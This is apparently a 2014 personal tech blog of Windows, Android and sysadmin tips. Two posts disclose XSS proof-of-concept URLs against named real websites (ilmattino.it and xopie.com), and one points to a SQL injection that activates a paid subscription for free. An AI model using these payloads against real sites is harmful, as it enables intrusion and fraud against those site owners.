Thursday, 23 October 2014

jp1082 drivers windows 7 windows 8 android

jp1082

drivers windows 7 windows 8 android

android
Linux
windows 2000
Windows CE 500
Windoes CE 600
windows VISTA
windows 7
windows XP
windows 2003
windows XP 64 bit

download

Saturday, 18 October 2014

S5830i unbrick, S5830i root, S5830i fix can't mount, S5830i unlock

This method will let you:

unbrick (boot loop) most of the S5830i without caring about the version ( YOG, VOD, ITV, etc)

This works also to fix the error "can't mount /dataRebooting"

Download from one package
S5830iXXKL1_S5830iXXKK5_OXEKK4 with Odin3 v1.85
http://1drv.ms/1poORmU


Start (as administrator) Odin3 v1.85.exe

Check  the flag on "re-partition" if you have the "can't mount /dataRebooting" problem.
Check "autoreboot".

Select all the necessary files.
PIT: totoro_0623.pit
Bootloader: BOOT_S5830iXXKK5_REV00.tar
PDA: PDA_S5830iXXKL1_REV00.tar
PHONE: MODEM_S5830iXXKK5_REV00.tar
CSC: GT-S5830i-MULTI-CSC-CSC OXEKK4_RST.tar

Click on Start





__________________________________________________


Tested with italian and spanish versions ITV VOD YOG

Should work with:

Baltic - SEB
PDA: S5830IXXMB2
CSC: S5830IOXFMC1
MODEM: S5830IXXMB2

Bangladesh - TML
PDA: S5830IXXMC1
CSC: S5830IODDLK1
MODEM: S5830IDDMC1
Version: Android 2.3.6

Bulgaria GBL
PDA: S5830IXXMC1
CSC: S5830IOXFMC2
MODEM: S5830IXXMB2
Version: Android 2.3.6

 Bulgaria BGL
PDA: S5830IXXMC1
CSC: S5830IOXFMC2
MODEM: S5830IXXMB2
Version: Android 2.3.6

 Bulgaria MTL
PDA: S5830IXXMC1
CSC: S5830IOXFMC2
MODEM: S5830IXXMB2
Version: Android 2.3.6


China - CHN
PDA: S5830IZCLL3
CSC: S5830ICHNLL5
MODEM: S5830IZCLL2



GT-S5830i

yoigo



GT-S5830i XXV
Vietnam
S5830IDXMK3
S5830IOLBMK1

GT-S5830i
Slovakia
S5830IXXMJ2
S5830IORSLK1

GT-S5830i ITV
Italy
S5830IXXMJ2
S5830IITVMK1

GT-S5830i O2I
Ireland (O2)
S5830IXXMJ2
S5830IO2IMJ1

GT-S5830i SER
Russia
S5830ZXXMK1
S5830ZOXEMC2

GT-S5830i
Slovakia
S5830IXXMH1
S5830IXSKMI1

GT-S5830i
Czech Republic
S5830IXXMH1
S5830IXEZMI1

GT-S5830i SVZ
Russia
S5830IXXMJ2
S5830ISVZMH1

GT-S5830i
Russia
S5830ZXXMJ2
S5830ZOXEMC2

GT-S5830i RUS
Russia
S5830IXXMJ2
S5830IOXEMC2

GT-S5830i
Czech Republic (O2C)
S5830IXXMH1
S5830IO2CMH1

GT-S5830i
Hungary
S5830IXXMH1
S5830IOXXME1

GT-S5830i
Russia
S5830IXXMH1
S5830ISVZMH1

GT-S5830i
Spain
S5830IXXMD1
S5830IPHEME1

GT-S5830i
Russia
S5830IXXMD1
S5830ISVZMC1

GT-S5830i
Russia
S5830ZXXMD1
S5830ZOXEMC2

GT-S5830i
Hungary (Telenor)
S5830IXXMD1
S5830IPANMG1

GT-S5830i
United Arab Emirates
S5830IJPLK1
S5830IOJPLI1

GT-S5830i
United Kingdom
S5830IXXMD1
S5830IBTUMD1

GT-S5830i
Hungary
S5830ZXXMD1
S5830ZXEHME4

GT-S5830i
Spain (Movistar)
2013 MayS5830IBGME4
S5830IXECME1

GT-S5830i
Hungary (VDH)
2013 MayS5830IXXMD1
S5830IVDHME1

GT-S5830i
Ireland (O2)
2013 MayS5830IXXMD1
S5830IO2IME1

GT-S5830i
Hungary
2013 MayS5830IXXMC1
S5830IOXXLL1

GT-S5830i
Hungary (T-mobile)
2013 May
S5830IXXMD1
S5830ITMHME1

GT-S5830i
Slovenia (Mobitel)
S5830IXXMC1
S5830IMOTMD1

GT-S5830i
Croatia (VIPNET)
S5830IXXMC1
S5830IVIPMD1

GT-S5830i
Hungary (Telenor)
S5830IXXMC1
S5830IOXXLL1

GT-S5830i
Slovenia (Si.mobil)
S5830IXXMC1
S5830IOXFMC2

GT-S5830i
Romania (Orange)
S5830IXXMC1
S5830IOXFMC2

GT-S5830i
Croatia (TELE2)
S5830IXXMC1
S5830IOXFMC2

GT-S5830i
Bulgaria (MTL)
S5830IXXMC1
S5830IOXFMC2

GT-S5830i
Bulgaria
S5830IXXMC1
S5830IOXFMC2

GT-S5830i
Switzerland
S5830IXXMC1
S5830IOXXLL1

GT-S5830i
Switzerland
S5830IXXMC1
S5830IOXXLL1

GT-S5830i
Croatia
S5830IXXMC1
S5830IOXFMC2

GT-S5830i
Bulgaria
S5830IXXMC1
S5830IOXFMC2

GT-S5830i
Turkey
S5830IXXMC1
S5830IOJVMC1

GT-S5830i
Taiwan (Chunghwa)
S5830IZSMD1
S5830IOZSLA3

GT-S5830i
Norway (Telenor)
S5830IXXMC1
S5830ITENMC1

GT-S5830i
Taiwan
S5830IZSMD1
S5830IOZSLA3

GT-S5830i
Nepal
S5830IXXMC1
S5830IODDLK1

GT-S5830i
Vietnam
S5830IDXMC1
S5830IOLBLD1

GT-S5830i
Singapore (SingTel)
S5830IDXMC1
S5830IOLBLD1

GT-S5830i
Philippines (Open Line)
S5830IDXMC1
S5830IOLBLD1

GT-S5830i
Singapore (StarHub)
S5830IDXMC1
S5830IOLBLD1

GT-S5830i
India
S5830IXXMC1
S5830IODDLK1

GT-S5830i
India
S5830IXXMC1
S5830IODDLK1

GT-S5830i
Sri Lanka
S5830IXXMC1
S5830IODDLK1

GT-S5830i
Bangladesh
S5830IXXMC1
S5830IODDLK1

Sunday, 14 September 2014

load an sql file in a sqlite database from command line | SQLite command line


Download the sqlite CLI from the http://www.sqlite.org/download.html website

sqlite command line for windows
sqlite command line for windows phone 8
sqlite command line for Linux
sqlite command line for Mac OS X (x86)


and just run
sqlite3.exe -init yoursqlfile.sql yourdatabasename.db















load an sql file in a sqlite database from command line with macos.
load an sql file in a sqlite database from command line - windows XP.
load an sql file in a sqlite database from command line - windows vista.
load an sql file in a sqlite database from command line - windows 7.
load an sql file in a sqlite database from command line - windows 8.
load an sql file in a sqlite database from command line - Linux.
 

Sunday, 7 September 2014

ilmattino.it XSS

 XSS
http://ilmattino.it/articolo.php?sez=&ssez=CRONACA&id=883576?&errLogin=[XSS]



funny XSS
In the search engine add a word that is for sure in the database and an "or" so that you will get for sure a result

notizie or <script>alert(123);</script>
_______________________________________________________


sql injection to activate the subscription without paying (with a fake telephone number)
http://shop.ilmattino.it/registrazione?prodotto=155_CTMPAY_GRATIS007CT


Friday, 5 September 2014

Fix Outlook asking for IE5setup.exe



 Download and run this reg file and everything should be fix

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{44BBA840-CC51-11CF-AAFA-00AA00B6015C}]
"IsInstalled"=dword:00000001
"Dontask"=dword:00000002
"Locale"="*"
"ComponentID"="MailNews"
"CloneUser"=dword:00000001
"StubPath"=hex(2):22,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,\
69,00,6c,00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,\
00,20,00,4d,00,61,00,69,00,6c,00,5c,00,57,00,69,00,6e,00,4d,00,61,00,69,00,\
6c,00,2e,00,65,00,78,00,65,00,22,00,20,00,4f,00,43,00,49,00,6e,00,73,00,74,\
00,61,00,6c,00,6c,00,55,00,73,00,65,00,72,00,43,00,6f,00,6e,00,66,00,69,00,\
67,00,4f,00,45,00,00,00
"Version"="6,1,7601,17514"
@="Microsoft Windows"


Cannot start Microsoft Outlook. Outlook requires Microsoft Outlook
Express 4.01 or greater. You can install Outlook Express by running
IE5Setup.exe from the IE5 folder located on your CD or through Windows
Update website

Fix outlook 2013
fix outlook 2007
fix outlook 2003

Saturday, 16 August 2014

skype webcam fix workaround for vista and windows xp | How to use most of the older skype versions

UPDATE: after writing (spamming?) a few links about this solution skype have changed the informations on the back of the main windows on older version informing that they will be retired.

After that you've already updated, for sure, your O.S. and the drivers of your webcam install the latest version of skype .... probably you already have it installed since you are facing that problem.

Login  with your account and make sure to -check- to remember the password so that skype locally saves the credentials (Credentials3 in the latest version).

Downloard this zip and uncompress the file (skypeb.exe) it in the skype folder
%programfiles%\Skype\Phone
or
%programfiles(x86)%\Skype\Phone


create a link on the desktop and just start it when needed.

Check your preferences and the webcam should be there with the older version of skype that should not prompt to update (since we automatically login).
Disable the automatic updates.

I prefer this way so that even if it automatically updates everything should work as before.

I've found this solution after struggling for hours with registry keys and executable deobfuscation ... without a damn result.


Fix How to use most of the older skype versions:

Just follow the above procedures.
The credentials (the stored *password*) are located in %appdata%\skype\yourusername\config.xml. Save the config file
Uninstall the newly installed skype.
Install your preferred version.
Overwrite the config file with the saved one .... or leave it as is.


 _________________________________________________________
More info

TIPs for who is interested into doing a real fix ... maybe a way to show the webcam
Just for your information.... the last version that I've used checks this registry key (maybe for the webcam.
HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\VIDEO


password hash encryption. I've tried to create a sort of pre login but I suppose that is time wasted since skype is gonna change things ... in worse.
http://insecurety.net/?p=427

Friday, 15 August 2014

Restore the default security settings on windows


 Windows XP
secedit /configure /cfg %windir%\repair\secsetup.inf /db secsetup.sdb /verbose
Windows Vista, 7
secedit /configure /cfg %windir%\inf\defltbase.inf /db defltbase.sdb /verbose


I've not tested the commands on windows 8 and 8.1 but they should work.

USB 2.0 Webcam usb\vid_1e4e&pid_0102&rev_0002 drivers

This is an easy task but I've wasted a lot of time to find it out (ok, I'm not smart guy .... )

right-click on "My Computer" and select "Properties".
Select the "Device Manager" tab.
Click on Device Manager in the left pane.
Select your device (the "usb 2.0 webcam" with the question mark).
right-click and select "Update Driver".
This will launch an update Wizard.
Choose to install from the local computer (not from the path).
Select the "manual" installation.
Manually select  "composite usb device" that should be listed in the compatible drivers.


You can use most of the applications for webcams. The one that is working for sure with this device is "cyberlink youcam".
Example: http://h10025.www1.hp.com/ewfrf/wc/softwareDownloadIndex?cc=it&lc=it&dlc=it&softwareitem=ob-78419-1
 If the webcam doesn't show up immediately you need to go in the options and select the device.


A very easy thing that have wasted the whole morning (I'm still trying to fix skype to work with HP integrated webcam and this webcam .... damn)




usb\vid_1e4e&pid_0102&rev_0002 drivers
usb\vid_1e4e&pid_0102&rev_001 drivers
usb\vid_1e4e&pid_0102 drivers



USB 2.0 WebcamWebcam cinese

driver windows vista webcam
driver windows 7 webcam
Composite webcam drivers windows 7


Sunday, 3 August 2014

Date error with MySQL and .NET

Date error with MySQL and .NET

Sample query to retrieve a date from mysql and use it directly with a dataset, datatable, datagridview.
Select DATE_FORMAT(mysqldatecolumn, '%Y-%m-%d' )  from mytable


To convert the date in .net
convert.ToDateTime(MyVariableWithDate).ToString("yyyy-MM-dd")
Datetime.Now().ToString("yyyy/MM/dd hh:mm:ss")

when we wan to retrieve and add the date in the db.


A workaround in mysql is to set those vars for the session. It's not suggested and sometimes the variables are read only.
SET SESSION date_format="%Y/%m/%d";
SET SESSION datetime_format="%Y/%m/%d %H:%i:%s";



Mysql Exception MySql.Data.Types.MySqlConversionException' in MySql.Data.dll

Note: Info are a bit messed up

Thursday, 31 July 2014

Firma Digitale Monte Paschi Siena per windows 7 64bit, Windows8 64bit, windows 8.1 64bit

(versione aggiornata dopo l'uscita di fileprotector 5.5 ..... qualche giorno dopo che mi ero lamentato al telefono)

Inserire la penna usb per firma digitale


Assicurarsi di avere installato java 1.5 (per fare prima è consigliabile questa versione) per Fileprotector  5.2 o inferiore (soluzione vecchia)
ftp://ftp.finanze.it/pub/mod2008/jre-1_5_0_16-windows-i586-p.exe
altrimenti assicurarsi di avere l'ultima versione a 64 bit di java ed installare fileprotect 5.5
http://www.java.com/it/download/manual.jsp

Scaricare ed Installare. Eseguire il setup.exe come amministratore)
http://firmadigitale.mps.it/Drivers%5CCharismatics.zip

Scaricare ed installare fileprotector (eseguire il file come amministratore)
http://firmadigitale.mps.it/Drivers%5CFP5.exe (5.2)
http://firmadigitale.mps.it/Drivers%5CFP5.5.exe (versione che richiede java 64 bit)

Attivare ed aggiornare il certificato direttamente tramite  Fileprotector inserendo codice fiscale e password di attivazione ricevuta (inizia con MP....) dalla banca.

Inserire il pin quando richiesto.





La nuova versione di fileprotect l'hanno pubblicata poco dopo le mie lamentele al telefono e richieste di supporto andate nel dimenticatoio.


Firma Digitale Monte Paschi Siena per windows 7 64bit, Windows8  64bit, windows 8.1 64bit
Attivazione Firma Digitale Monte Paschi Siena

Wednesday, 30 July 2014

SQL Server Management - error 29506

Just run the MSI installer as administrator.
If it doesn't work try to start it from the command line.

run cmd as administrator
start SQLServer2005_SSMSEE_x64.msi




SQL server is not mandatory but the application would be useless without it.







SQLServer2005_SSMSEE_x64.msi error 29506
SQLServer2005_SSMSEE_x86.msi error 29506
error 29506
fix SQL Server Management error 29506
solve SQL Server Management error 29506

Tuesday, 15 July 2014

unattended JRT unattended Junk removal tool silent JRT silent Junk removal tool

unattended JRT
unattended Junkware removal tool
silent JRT
silent Junkware removal tool

download the file jrt unattended batch

run jrt_unattended.bat and, if nothing goes wrong, you will  find a jrt_unattended.exe

Monday, 7 July 2014

Force Unmount and Clean up of a Wim Image using DISM

Force Unmount and Clean up of a Wim Image using DISM


When you use RT7 (+ AIK) sometimes an error occurs stating that there's a mounted wim (ex.  boot.wim).
To solve the problem you should run, as administrator, the command:

dism /cleanup-wim

If it doesn't work I've found another solution by editing the registry and deleting all the (necessary) entries within:

"HKLM\SOFTWARE\Microsoft\WIMMount\mounted images\"

It should work as long as you are an administrator.


Sunday, 6 July 2014

default password for opensolaris - live cd - usb - full installation - beta

default password for opensolaris - live cd - usb - full installation - beta

The default password, default account, default user, for the live cd/usb are:

username: root
password: opensolaris

username: jack
password: jack

(reference: http://docs.oracle.com/cd/E26502_01/html/E28980/clients.html)

The default password, default account, default user, for the virtual images, virtualbox vdi image, oracle vm templates are:

username: root
password: ovsroot

username: oracle
password: oracle



(reference http://download.oracle.com/otn/solaris/express/README.txt )

Tuesday, 1 July 2014

Huawei E585 unlock code unlocking free


Run dc-unlocker2client.exe

Download Files/Software

Click on the magnifying glass to search automatically the modem:

Found modem         : .B
Model               : Huawei E585
IMEI                : 352398043026808
Serial NR.          : M7A4CA1121502022
Firmware            : 1026.11.323.02.505sp01
Compile date / time : Dec 14 2010 20:09:05
Hardware ver.       : WL1E585HM_E585
Dashboard version   : UTPS1.01.01.12_MAC1.01.00.12
Chipset             : Qualcomm MSM7625A
SIM Lock status     : Locked (Card Lock)

if the Firmware version (see the last 505sp01) differs install
E585Update_1026.11.64.18.505sp01.exe

Install "Huawei Reader PSAS setup.exe"

Hardware Forensics -> Use Mobile Ports

Choose the Diag Port (QC) Tab
In the same window (under Diag Functions (values to be entered have to be in hex))
choose Read EFS and check "Alternative Method".
Click on "Let's go"
Save the file rapiconfig.xml
Open the xml file with notepad or something else

You will see binary garbage but just don't care about it and search for
"PST" and the code will be right after that word.

This is a sample of my result
LT PST P  24655127
the unlock code (in MY case) is 24655127

Wednesday, 25 June 2014

recover contacts from the hidden Backup Folder of the Windows Phones - recover contacts from damaged phones

 Recover from backup Windows Phone 7
 Recover from backup Windows Phone 8

From what I've seen, sometimes, there are (hidden) "Backup" (the name is backup) folders on the SD of the windows Phones. It could happen when you do an update of the system (that's what I've read in a forum).

Inside the folder there's a file with "arc" extension and it could be opened with NbuExplorer with dbshell.

Download
nbuexplorer - http://sourceforge.net/projects/nbuexplorer/
dbshell - https://sites.google.com/site/garawaa/

extract the nbuexplorer and then extract dbshell (inside the nbuexplorer's folder).

The contacts and messages, as other stuff, will be available

How to backup Phone Contacts on sd from Windows Phone

Windows Phone backup on SD
contacts backup - amaze software

Select the various options
Include contact Photos and backup contacts from (the account configured).

Click on the first icon to retrieve the contacts (I don't know if it's mandatory) and click on the last icon to save on the SD.

There is also another nice feature with the download option it opens a webserver from the phone and you can collect the data via browser.

Pretty nice app.

Tuesday, 17 June 2014

install 7zip with all the file associations

I've found an MST file that is working better

http://adriank.org/how-to-deploy-7-zip-9-20/

Thanks to adrian k too.


MSIEXEC.EXE /I 7z920.msi TRANSFORMS=7-Zip_Customizations.mst /norestart /qb!




-THE OLD POST-
I've wasted a bit of time trying to do something as clean as possible to add auomatically, silent mode, the file associations with 7zip.

Thanks to  Oleg L. ( http://sourceforge.net/u/oleg-l/ ) on sourceforge
http://sourceforge.net/p/sevenzip/discussion/45797/thread/8f5d0d78


Download the original file
narod.ru/disk/62283578001.d937a549c78792c33caf4e0d5a92002e/assoc.mst.html

command line
msiexec /qr /i <path_to_msi>\\7z920.msi TRANSFORMS=<path_to_mst>\\assoc.mst

Monday, 16 June 2014

Libreoffice silent installation

Libreoffice silent installation
Libreoffice 4 silent installation
Libreoffice 3 silent installation
Libreoffice unattended installation
Libreoffice 3 unattended installation
Libreoffice 4 unattended installation

fastest version that should work and it's silent

msiexec /qb /i "libreoffice.msi" /quiet /norestart UI_LANGS=it_IT Reboot=No REGISTER_ALL_MSO_TYPES=1




anything below is old and not really working good.
______________________________________________________
This is an old version but never worked well for me after 3.x.
msiexec /qb! /i PATHTO\LibreOffice_xxx.msi ALLUSERS=1 CREATEDESKTOPLINK=0 IS1033=0 IS1078=0 IS1025=0 IS1101=0 IS1610=0 IS1059=0 IS1026=0 IS2117=0 IS2121=0 IS1150=0 IS1603=0 IS5146=0 IS1027=0 IS32771=0 IS1029=0 IS1106=0 IS1030=0 IS1031=0 IS1604=0 IS2129=0 IS1032=0 IS2057=1 IS7177=0 IS1553=0 IS1034=0 IS1061=0 IS1069=0 IS1065=0 IS1035=0 IS1036=0 IS2108=0 IS1084=0 IS1110=0 IS1095=0 IS1037=0 IS1081=0 IS1050=0 IS1038=0 IS1057=0 IS1039=0 IS1040=0 IS1041=0 IS1079=0 IS1087=0 IS1107=0 IS1099=0 IS1042=0 IS1111=0 IS1120=0 IS1574=0 IS1108=0 IS1063=0 IS1062=0 IS1605=0 IS1071=0 IS1100=0 IS1104=0 IS1112=0 IS1102=0 IS1109=0 IS1044=0 IS1121=0 IS1043=0 IS2068=0 IS1580=0 IS1132=0 IS1154=0 IS2162=0 IS1096=0 IS1094=0 IS1045=0 IS2070=0 IS1046=0 IS1048=0 IS1049=0 IS1569=0 IS1103=0 IS1606=0 IS1113=0 IS2074=0 IS2133=0 IS1051=0 IS1060=0 IS1052=0 IS3098=0 IS1579=0 IS1072=0 IS1053=0 IS1089=0 IS1097=0 IS1098=0 IS1064=0 IS1054=0 IS1074=0 IS1055=0 IS1073=0 IS2200=0 IS1058=0 IS1091=0 IS1075=0 IS1066=0 IS1076=0 IS2052=0 IS1028=0 IS1077=0 REGISTER_DOC=1 ADDLOCAL=ALL REMOVE=gm_o_Testtool,gm_o_Xsltfiltersamples,gm_o_jf_Palm,gm_o_jf_Pocketpc,gm_o_Quickstart,gm_o_Extensions_PRESENTER_SCREEN,gm_o_Extensions_REPORTDESIGN,gm_o_Extensions_MEDIAWIKI,gm_o_Extensions_MINIMIZER,gm_Dictionaries,gm_r_Extension_Dictionary_Af,gm_r_Extension_Dictionary_Pt,gm_r_Extension_Dictionary_Ca,gm_r_Extension_Dictionary_Hr,gm_r_Extension_Dictionary_Cs,gm_r_Extension_Dictionary_Nl,gm_r_Extension_Dictionary_Et,gm_r_Extension_Dictionary_Fr,gm_r_Extension_Dictionary_De_AT,gm_r_Extension_Dictionary_De_DE,gm_r_Extension_Dictionary_De_CH,gm_r_Extension_Dictionary_He,gm_r_Extension_Dictionary_Hu,gm_r_Extension_Dictionary_da,gm_r_Extension_Dictionary_Ku_Tr,gm_r_Extension_Dictionary_Lt,gm_r_Extension_Dictionary_Ne,gm_r_Extension_Dictionary_No,gm_r_Extension_Dictionary_Oc,gm_r_Extension_Dictionary_Pl,gm_r_Extension_Dictionary_Ro,gm_r_Extension_Dictionary_Ru,gm_r_Extension_Dictionary_Sr,gm_r_Extension_Dictionary_Sk,gm_r_Extension_Dictionary_Sl,gm_r_Extension_Dictionary_Es,gm_r_Extension_Dictionary_Sv,gm_r_Extension_Dictionary_Th,gm_r_Extension_Dictionary_Uk,gm_r_Extension_Dictionary_Vi,gm_r_Extension_Dictionary_Zu



This version should be fine for a silent installation but it doesn't work for me
msiexec /qn /i PATHTO\LibreOffice_4.2.4_Win_x86.msi ALLUSERS=1 CREATEDESKTOPLINK=0 IS1033=0 IS1078=0 IS1025=0 IS1101=0 IS1610=0 IS1059=0 IS1026=0 IS2117=0 IS2121=0 IS1150=0 IS1603=0 IS5146=0 IS1027=0 IS32771=0 IS1029=0 IS1106=0 IS1030=0 IS1031=0 IS1604=0 IS2129=0 IS1032=0 IS2057=1 IS7177=0 IS1553=0 IS1034=0 IS1061=0 IS1069=0 IS1065=0 IS1035=0 IS1036=0 IS2108=0 IS1084=0 IS1110=0 IS1095=0 IS1037=0 IS1081=0 IS1050=0 IS1038=0 IS1057=0 IS1039=0 IS1040=0 IS1041=0 IS1079=0 IS1087=0 IS1107=0 IS1099=0 IS1042=0 IS1111=0 IS1120=0 IS1574=0 IS1108=0 IS1063=0 IS1062=0 IS1605=0 IS1071=0 IS1100=0 IS1104=0 IS1112=0 IS1102=0 IS1109=0 IS1044=0 IS1121=0 IS1043=0 IS2068=0 IS1580=0 IS1132=0 IS1154=0 IS2162=0 IS1096=0 IS1094=0 IS1045=0 IS2070=0 IS1046=0 IS1048=0 IS1049=0 IS1569=0 IS1103=0 IS1606=0 IS1113=0 IS2074=0 IS2133=0 IS1051=0 IS1060=0 IS1052=0 IS3098=0 IS1579=0 IS1072=0 IS1053=0 IS1089=0 IS1097=0 IS1098=0 IS1064=0 IS1054=0 IS1074=0 IS1055=0 IS1073=0 IS2200=0 IS1058=0 IS1091=0 IS1075=0 IS1066=0 IS1076=0 IS2052=0 IS1028=0 IS1077=0 REGISTER_DOC=1 ADDLOCAL=ALL REMOVE=gm_o_Xsltfiltersamples,gm_o_Quickstart



This version installs correctly but with the basic interface. (the ! is to send each line to the logs. To add the logs use /L* mylog.txt ). - after several other tries this is not the best one (see the first example)

msiexec /qb! /i PATHTO\LibreOffice_4.2.4_Win_x86.msi ALLUSERS=1 CREATEDESKTOPLINK=0 IS1033=0 IS1078=0 IS1025=0 IS1101=0 IS1610=0 IS1059=0 IS1026=0 IS2117=0 IS2121=0 IS1150=0 IS1603=0 IS5146=0 IS1027=0 IS32771=0 IS1029=0 IS1106=0 IS1030=0 IS1031=0 IS1604=0 IS2129=0 IS1032=0 IS2057=1 IS7177=0 IS1553=0 IS1034=0 IS1061=0 IS1069=0 IS1065=0 IS1035=0 IS1036=0 IS2108=0 IS1084=0 IS1110=0 IS1095=0 IS1037=0 IS1081=0 IS1050=0 IS1038=0 IS1057=0 IS1039=0 IS1040=0 IS1041=0 IS1079=0 IS1087=0 IS1107=0 IS1099=0 IS1042=0 IS1111=0 IS1120=0 IS1574=0 IS1108=0 IS1063=0 IS1062=0 IS1605=0 IS1071=0 IS1100=0 IS1104=0 IS1112=0 IS1102=0 IS1109=0 IS1044=0 IS1121=0 IS1043=0 IS2068=0 IS1580=0 IS1132=0 IS1154=0 IS2162=0 IS1096=0 IS1094=0 IS1045=0 IS2070=0 IS1046=0 IS1048=0 IS1049=0 IS1569=0 IS1103=0 IS1606=0 IS1113=0 IS2074=0 IS2133=0 IS1051=0 IS1060=0 IS1052=0 IS3098=0 IS1579=0 IS1072=0 IS1053=0 IS1089=0 IS1097=0 IS1098=0 IS1064=0 IS1054=0 IS1074=0 IS1055=0 IS1073=0 IS2200=0 IS1058=0 IS1091=0 IS1075=0 IS1066=0 IS1076=0 IS2052=0 IS1028=0 IS1077=0 REGISTER_DOC=1 ADDLOCAL=ALL REMOVE=gm_o_Xsltfiltersamples,gm_o_Quickstart

Skype full setup and silent installation.

Skype full setup and silent installation.

You can download the full skype setup from this url
http://www.skype.com/go/getskype-full



A part of (one of my) a nsis script is following with extra informations in the comments:

; http://www.skype.com/go/getskype-full
; ALLUSERS=1 - install for all the windows users
; /NOIE - No Internet Explorer plugin
; /NOGOOGLE - No Google toolbar
; /verysilent - No installation interface
; /NORESTART - No restart
; /SP-
; /NOCANCEL cannot interrupt
;  /SUPPRESSMSGBOXES - avoid message boxes
; /NOLAUNCH' - doesn't start skype after installation

 ExecWait "'$EXEDIR\SOFTWARE\x86\SkypeSetupFull.exe ALLUSERS=1 /NOIE /NOGOOGLE /VERYSILENT /SP- /NOCANCEL /NORESTART /SUPPRESSMSGBOXES /NOLAUNCH'"
 ;removing run at windows startup
 RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Skype");




Sunday, 25 May 2014

JAVA_HOME AND JRE_HOME batch fix


This batch file from "Niels P. Sorensen" saved me a lot of time a few times and I got nervous when I've lost the link to his website when in need of his script.

download java_home batch fix

The script locates JAVA_HOME AND JRE_HOME in the registry and sets the environment variables.

The env. variables not set are really annoying.

Thank to that guy :P.

This post is to remind me where to find the solution :P

https://sites.google.com/site/forthenerdwithin/

Saturday, 24 May 2014

driverspack downloader

batch file that tries to download driverspacks from https://github.com/DriverPackSolution/


driverspack downloader

Monday, 19 May 2014

ALPS Touchpad Driver 8.100.2020.116 for Windows 8 64 bit



ALPS Touchpad Driver 8.100.2020.116 for Windows 8 64 bit  with software to disable the touch button click

http://global-download.acer.com/GDFiles/Driver/TouchPad/TouchPad_ALPS_v8.100.2020.116_W8x64_A.zip?acerid=635124983430007185

Tuesday, 1 April 2014

bulk download from archive.org cache - wget



--random-wait  - random wait to go slower.

-r recursive to recurse in all the subfolders/pages
-p we get all images needed to display the page
-e robots=off - ignore robots.txt rules
-E set as html files with html content
-np don't recurse up to parent folders
 -U "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14" - useragent mozilla
--no-check-certificate - do not check ssl certificates for https connections


 ----------------------archive.org.bat----------------------
#random wait, recursive, get all images needed to display the page,
#ignore robots.txt rules, set as html files with html content,
#don't recurse up to parent folders, useragent mozilla,
#do not check ssl certificates (for https).

wget --random-wait -r -p -e robots=off -E -np -U "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14"  --no-check-certificate %1

 ---------------------- ---------------------- ----------------------
 Run: archive.org.bat  https://web.archive.org/web/20140307102328/http://www.cachedwebsite.org


NOTE: wget is suggested on the archive.org's blog! There's nothing bad into using it with a bit of attention and without rushing.

Monday, 31 March 2014

error #1146 - Table 'phpmyadmin.pma__recent' doesn't exist

#1146 - Table 'phpmyadmin.pma__recent' doesn't exist

It could happen that the phpmyadmin database doesn't exists and/or phpmyadmin is misconfigured.

To fix the problem we just need to import the file "create_tables.sql" that can be found in (any) the phpmyadmin package inside the "examples/" folders.


mysq -u root --password=mypassword < create_tables.sql


Saturday, 29 March 2014

css centering image in a div in the middle of the page - dirty method

Sample css to center blocks, images within divs. I'm not sure if it's a good method.

-css-
.centering{
text-align: center;
}

.centering img{
  display: inline-block; /*inline block so that we can align it*/

/*vertical*/
position: absolute;
top: 0;
bottom: 0;
left: 0;
right: 0;
margin: auto;
  /*vertical*/
}
-----------


-html-

<div class="centering">
<img src="your_image.png" />
</div>



Friday, 28 March 2014

batch script - alert with sound for smart hdd probelms fix

batch script - alert with sound for smart hdd probelms fix
smartmontools detect failure at boot


This is a small batch script that starts an alert if  a "FAILED" string is found in the smartctl report.

@Echo on
SET SMARTBIN=smartmontools\smartctl.exe
SET REPORTFILE=smartinfo.txt
%SMARTBIN% --scan > smartdrives.txt
for /F "tokens=1" %%i in (smartdrives.txt) do %SMARTBIN% -s on %%i > %REPORTFILE% && %SMARTBIN% -i %%i >> %REPORTFILE% && %SMARTBIN% -H %%i >> %REPORTFILE%

findstr /m "FAILED" %REPORTFILE%
if %errorlevel%==0 (
sound\cmdmp3win.exe sound\alert.mp3
)


I personally cannot suggest smatmontools "as is" without the parsing of the S.M.A.R.T. data or full test with smartmontools.

After creting this sample script I have faced the reality that my HD smart report was not correct .
I prefer to manually check with crystaldisk because it reports as "good" or "problematic" without wasting time and with more accuracy (I hope).

Command line mp3 players for windows

Command line mp3 players for windows

http://www.mailsend-online.com/blog/a-command-line-mp3-player-for-windows.html

http://mplayerhq.hu/design7/dload.html


http://sourceforge.net/projects/mpg321/

Thursday, 27 March 2014

xopie.com | democratic people's of korea (north korea) | XSS

The sample url is related to the official shop  of the democratic republic of korea (north korea) but the problem is for all the shops on xopie.com.

http://dprk.xopie.com/en/list?q=%22%3E%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E%3C%22

Wednesday, 26 March 2014

IIS 7 Mime type modification without iis 7 manager | fix svg wrong mime type | svg not appearing

I'm quite ignorant about IIS 7 but after using ii7 manager I've noticed that it's easier than expected to modify
the preconfigured mime types and *any* (I don't know exactly what can be modified or not) other configuration
by adding/modifying "web.config" in the root directory.

This sample file web.config is a modification for the svg that have a wrong mime type and the svg are not showing correctly.



web.config
--------------------------------------------------------------------------

<configuration>
    <system .webserver="">
        <staticcontent>
            <remove fileextension=".svg2">
            <remove fileextension=".svg">
            <mimemap fileextension=".svg" mimetype="image/svg+xml">
            <mimemap fileextension=".svg2" mimetype="image/svg+xml">
        </mimemap></mimemap></remove></remove></staticcontent>
    </system>
</configuration>
--------------------------------------------------------------------------

With this modification in web.config (and there's no need to use any manager)
we can reconfigure the mime type to "image/svg+xml".
On an aruba, ngi servers I've got "image/svg xml" .... that seems to be wrong and gives problems on most of the browsers.

More things can be modified/added.



Tuesday, 25 March 2014

installare IIS 7 manager for website administration.
